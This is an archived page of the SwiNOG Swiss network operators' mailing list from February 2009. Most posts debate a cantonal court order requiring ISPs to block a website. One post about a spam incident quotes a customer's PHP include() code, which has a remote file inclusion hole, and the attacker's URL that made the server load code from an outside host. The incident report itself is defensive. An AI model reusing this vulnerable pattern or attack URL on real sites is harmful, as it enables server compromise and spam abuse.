swinog

swinog@lists.swinog.ch

2916 discussions

SwiNOG-18 registration open
by Michel Renfer 21 Feb '09

21 Feb '09

Hi All The registration for SwiNOG-18 in April 2009 is now ready. The agenda is partially filled and will be completed over the next 1-2 weeks See you @ SwiNOG-18... P.S. SwiNOG-19 will be held at the 29th septembre 2009 - save the date ;-) thanks, SwiNOG Core Team

1 0

Post from Canton de Vaud
by Andreas Fink 20 Feb '09

20 Feb '09

Hello Collegues, Today I got a document sent to us because we are listed as ISP. You probably have all received it as well. Its a case of a Party A against "unknown" who has said something wrong/ bad about Party A. (Ehrverletzung/Verleumdung etc.) While I can understand that Party A tries to get their right to get things wrong written about them is being changed to correct, the ISP's of Switzerland are now out of a sudden involved in this as they are "in charge of blocking" the corresponding site. Also what upset's me most is the sentence that this is the status of a "Verfügung" from a "Untersuchungsrichter" and there is no legal way to oppose ("gegen die vorliegende Verügung keine Rechtsmittel möglich sind"). This might be true for the immediately accused as they had their chance to answer but for us "other 3rd party" ISP's it can not hold true as we have never heard of this case ever before and we have not been involved in this case before. I would suggest the ISP community of Switzerland stands up united against such ridiculous practice of judges who have no clue how the internet works: I see two possible ways a) All ISP's send an INvoice to the Party A for the installment of the filters. They have caused this work so they are liable for the cost. Its not our fault. b) all ISP's object in written to the decision of being in this case and oppose. or both. What are your oppinions? Andreas Fink Fink Consulting GmbH Global Networks Schweiz AG BebbiCell AG IceCell ehf --------------------------------------------------------------- Tel: +41-61-6666330 Fax: +41-61-6666331 Mobile: +41-79-2457333 Address: Clarastrasse 3, 4058 Basel, Switzerland E-Mail: andreas(a)fink.org www.finkconsulting.com www.global-networks.ch www.bebbicell.ch --------------------------------------------------------------- ICQ: 8239353 MSN: msn1(a)gni.ch AIM: smsrelay Skype: andreasfink Yahoo: finkconsulting SMS: +41792457333 http://a-fink.blogspot.com/ A developers view about iPhone SDK

17 37

F*ing Spammers and stupid customer code...
by Mike Kellenberger 19 Feb '09

19 Feb '09

Hi all Just stopped our mail server from spitting out thousands of spam messages. We have a customer who has a site with the following (stupid) code in his index.php: if($called_page_link!="") { $requested_file=$called_page_link; } include($requested_file); The f*ing spammer found out about this and called the page with: http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit ies.com/nimiuu/fuck.txt? Boom. Have I already told you that I hate spammers? :-) Oh well, one down - a few million to go... Regards, Mike -- Mike Kellenberger mike.kellenberger(a)escapenet.ch Escapenet - the Web Company Tel +41 52 235 0700 http://www.escapenet.ch Skype mikek70atwork

7 9

SIUG position Re: Post from Canton de Vaud
by Patrick Tybo 19 Feb '09

19 Feb '09

If my memory serves well: one of the guy writing the (rather harsh) pages agains the judge had... her (foreigner) wife (deported | casted out)* of switzerland. So, "unjustifiable" sound uninformed: you can understand better the whole issue with this information in hand. I remember having Mme Juge Françoise Dessaules or some close lastname, on the phone, on the begginning of this issue, it was in 1998 (!), there was no legal framework for her request, I was suprised of their (the judges) reaction when reading the rather lousy written, worded, pages, those few pages had a big impact in their head while not of significant relevance for anyone looking for good quality information. (* had to look in the translation dictionnary for this, not sure the meaning is the best) Regards. ----- On Thu, Feb 19, 2009 at 1:33 AM, Norbert Bollow <nb(a)bollow.ch> wrote: roger(a)mgz.ch wrote: > Im wondering why this guy taking a big risk in creating those pages > somebody must have triggered that sickness. I looked into this a bit back in August last year, seeking to understand what got those guys so upset. IMO the actions of those guys in creating those pages, and protesting in other (at least in part also illegal) ways, are unjustifiable. However that does not at all justify that judge's decision to push Switzerland onto the slippery slope of censorship. > there are open points, > how to finance the equipment. *If* that court order turns ends up being binding, my understanding is that the equipment will have to be financed just like all other equipment that is required for operating an ISP in accordance with the needs of the customers and the requirements of the law. > How to handle an finance an ISP get sued by an client for censorship ? If the ISP blocks *only* websites for which a court order to block them has been served on the ISP, it should be possible to get any complaint dismissed very inexpensively by pointing to that court order. This implies IMO that ISPs should avoid IP-based blocking. I would suggest to configure, in the nameservers which you make available to your customers, false authoritative DNS responses for any domains that you're required to block. Point them to a page which instructs visitors to direct any enquiries regarding the reasons for the block to the court which ordered the block, quoting the case number. Of course this is easy to circumvent for any knowledgable person, but it fulfils the requirement, and it's cheap and relatively transparent. > Is the commanding Court legitimated to force all swiss ISP to follow this > order ? This is unclear to me as well. Another question is this: What happens when one of those domain names expires and someone else registers it and uses it for some quite honorable purpose? That (now-suspended) court order does not appear to foresee any way in which the censorship order could be challenged at a later time on the grounds that the censorship demand no longer has any legal basis. > what does SIUG say to that topic ? there sems to be no activity at all. I have a few hours ago put up copies of the two recent court orders (without the lists of ISP contact person names, which IMO raise some privacy concerns) together with a very minimal comment up on siug.ch If you're interested in seeing SIUG take further action, such as publishing a position statement that explains why such censorship is a bad idea, or organizing public events (e.g. a podium discussion) on this topic, well, you're welcome to volunteer to do the necessary work, or pay someone to do it. :-) Best regards Norbert Bollow, president of SIUG

1 0

Federal Administrative Court rejects complaint (Swisscom / Bit-Stream case)
by Pascal Gloor 19 Feb '09

19 Feb '09

For the ones who missed it: English http://www.swisscom.com/GHQ/content/Media/Medienmitteilungen/20090219_Verpf… French http://www.swisscom.com/GHQ/content/Media/Medienmitteilungen/20090219_Verpf… German http://www.swisscom.com/GHQ/content/Media/Medienmitteilungen/20090219_Verpf… Cheers, Pascal

1 0

Re: [swinog] Post from Canton de Vaud
by Oliver Bolliger 19 Feb '09

19 Feb '09

this is not the right way to block access to a site as i can setup my own dns or use foreign nameservers but what is the best method? blocking ip traffic to the site can also mean to block legitimate traffic to a shared hosting server!? cheers oliver On Feb 17, 2009, at 4:57 PM, "Xaver Aerni" <<mailto:xaerni@pop.ch>xaerni(a)pop.ch<mailto:xaerni@pop.ch>> wrote: When the ISP block it only by DNS Filtering??? I think to block 1 side is a DNS Filtering the easyest and fastest way. Greetings Xaver ----- Original Message ----- From: Yann Gauteron<mailto:ygauteron@gmail.com> To: <mailto:swinog@swinog.ch> <mailto:swinog@swinog.ch> swinog(a)swinog.ch<mailto:swinog@swinog.ch> Sent: Tuesday, February 17, 2009 4:50 PM Subject: Re: [swinog] Post from Canton de Vaud You're assuming that the biggest ISPs will apply the filtering at the entrance of their network, which is not necesseraly true. They can also decide to filter closer to their access equipments. This would mean that peerings with other ISPs or BGP-tiered enterprises would be unfiltered. Depending where the filtering is applied, professional access could also be prevented to be filtered. ________________________________ _______________________________________________ swinog mailing list <mailto:swinog@lists.swinog.ch>swinog(a)lists.swinog.ch<mailto:swinog@lists.swinog.ch> http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog _______________________________________________ swinog mailing list <mailto:swinog@lists.swinog.ch>swinog(a)lists.swinog.ch<mailto:swinog@lists.swinog.ch> <http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog>http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

14 18

position for network engineer at CERN
by Edoardo Martelli 18 Feb '09

18 Feb '09

Hello CERN has an open position for a network engineer: https://ert.cern.ch/browse_www/wd_pds?p_web_site_id=1&p_web_page_id=6946&p_… kind regards Edoardo Martelli

1 0

Re: [swinog] Post from Canton de Vaud
by roger＠mgz.ch 18 Feb '09

18 Feb '09

my first email with the same content was heldoff bei the ML for an moderator review.. so maybe it will show up a second time. right > As one can read in your PDF on page 1 (in French) and page 3 (in > German), the order is suspended until a decision is made regarding the > appeal from Cyberlink. > which will lead to a new recurse maybe :) > My understanding (IANAL) is that this means there will be a statement > from a judge whether or not this blocking order is legal and whether or > not it has to be carried out by the Swiss ISPs. If the judge in charge fail with his decisssion who is gona to pay what he caused ? Maybe someone ordered allready equipment as he got paniked ... Roger

1 0

Post from Canton de Vaud
by Xaver Aerni 17 Feb '09

17 Feb '09

Hello, Till now we haven't receive any letter. Our Partnernetwork hasn't to receive any letter. It is nice. I think they must wirte to all providers... We have more than 3000 clients together... Greetings X. Aerni _____ Von: swinog-bounces(a)lists.swinog.ch [mailto:swinog-bounces@lists.swinog.ch] Im Auftrag von Yann Gauteron Gesendet: Dienstag, 17. Februar 2009 07:22 An: swinog(a)swinog.ch Betreff: Re: [swinog] Post from Canton de Vaud In this topic, Andreas and Roger you are asking who should pay to implement these measures... I'm sad to tell you that YOU probably will have to pay for that. Despite your hope, I am pretty sure that (if a law making that appliable does exist) nobody except you (and at the end your customers if you increase your service price) will pay for such a blocking system. Even if it can seem unfair, in fact it works like that: - Some cantons voted for banning smoke in public places (restaurants, bars, ...) except in one dedicated and closed aread (called "fumoir" in French). The restaurant managers will pay for the needed changes to become compliant. They will not receive money from the authorities to do so. - In our work activity, we also have legal requirements. As ISPs we have the obligation to keep historical data about IP address allocation for our customers, we have to keep some records about e-mail that are sent from our mail exchange relays, ... Once again, the ISPs financed these modifications / changes / upgrades to comply the law. This is the way it works in Switzerland: Politicians (and/or citizens when a subject is voted by them) decide the laws. Other key players assume the financial charge for it. I am not saying this is a bad idea (I agree with this way to do! (*)), however I consider that the investments should be reasonable and they should have proved their effectiveness. In the present case, this is the main problem: blocking the access to some web content (in addition to the problem of censorship I already expressed in previous posts) is not effective: 1) the simple use of a relay/proxy/anonymizer would permit to defeat this "protection"; 2) if ISPs are concerned with this measure, enterprise would not be permitting to access the offending content from an office workplace! (*) I mentionned above I agree with the way consisting of political deputies (or citizens) making a decision, and involved actors to finance the required changes. Let me explain why. I still believe we are living in a very democratical country where individuals and companies have their own responsabilities and obligations. Everybody must take the needed measures to comply with the law without expecting any compensation. IMHO this has the advantage to make everybody playing an active role in the final decision about a law. Most of the laws follow a consult phase ("phase de consultation" in French); other laws are voted by the citizens. If you're not happy with a project law, you can inform (lobbying with the deputies / advertise the citizens) the decision makers about the problems you will face (inadequate price / effectiveness ratio for instance) but at the same time also announce that this correspond to a form of censorship. At the end, you don't make the decision and you can win or lose. But democracy is more or less respected. If the Authorities would have to finance such a decision (such as the hardware + implementation of a censorship solution), your role would be lowered much more. Your voice would count for peanuts. That Authorities would tell you: Shut up, we decide, we pay, your financial and ethical opinions do not matter. Once again, my questions about the present topic are: - Is there an existing law permitting to mandate ISPs to block access to a given content? If yes, who can decide of such blocking (a canton court or a Swiss court)? - Why was this decision to block access from the ISP taken, instead of making the hosting provider removing the offending content? The first solution is technically known to be uneffective as workarounds exist and can be used by people with only a little technical knowledge or by users having a web access from an enterprise. - Ethically, I consider this way to proceed as a form of censorship: blocking access to a published content match my definition of censorship ("we decide what is good for you" or "we filter for your well-being", take care you prove G. Orwell right). Removing (and not simply restricting access) an offending content is a legal decision that can (and must) be taken, if that content is considered as illegal. This does not shoke me. Even if the result (for the Swiss web users) is the more or less same (it will not have access to that content), the taken action is totally different. In one case, this is filtering for some world citizens, in the second case, this is global removal of the content. An analogy can be made with publishing world: If a book containing offending someone (physical or moral person) content is written, the courts can decide to forbid the publisher to destroy all the books (and possibly if this is too late, to forbid the bookstores to sell it and to return the remaining ones to the publisher). But never the court will say the bookstores to use a black marker to strike through the offending lines or to tear out the offending pages. Last remark: Definition of offending content is out of scope of this e-mail. Just understand that for me an offending content is something that is against the law (for instance: pedophilia content, libellous texts, ...).

1 0

RIPE: LIR Training Course in Zurich
by Steven Glogger 16 Feb '09

16 Feb '09

hi there for those not reading RIPE mails. the next NCC LIR Training Course is in Zurich: Location: Zurich, Switzerland Swissotel Zurich Date: Friday, March 20, 2009 registration as usual over your lirportal login ,-) -steven

1 0

Jump to page:

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

swinog